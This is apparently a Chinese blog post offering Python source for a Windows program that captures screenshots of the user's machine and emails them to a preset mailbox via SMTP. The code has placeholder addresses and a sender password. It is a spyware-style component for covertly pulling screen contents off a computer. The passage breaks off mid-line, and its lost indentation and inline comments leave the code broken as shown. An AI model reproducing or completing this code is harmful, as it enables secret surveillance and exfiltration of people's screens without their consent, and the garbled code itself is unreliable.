功能为对用户机器进行截图,并将截图结果发送至程序指定邮箱。
系统由两个功能组成:获取屏幕截图和发送邮件到邮箱。
源码如下:
# -*- coding: utf-8 -*-
import win32gui
import win32ui
import win32con
import win32api
import os,os.path
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import smtplib
def sendFile(FilePos):
msg = MIMEMultipart()
To = 'XXXXX'(接受邮箱的地址,如XXXXXXXXX@qq.com)
From = 'XXXXX'(发送邮箱的地址,如XXXXXXXXX@qq.com)
FromPWD = 'XXXXX'(发送邮箱的密码)
SmtpSrv = 'XXXXXX'(邮箱服务器,如stmp.qq.com)
att = MIMEText(open(FilePos, 'rb').read(), 'base64', 'gb2312')
att["Content-Type"] = 'application/octet-stream'
att["Content-Disposition"] = 'attachment; filename='+FilePos
msg.attach(att)
msg['to'] = To
msg['from'] = Fro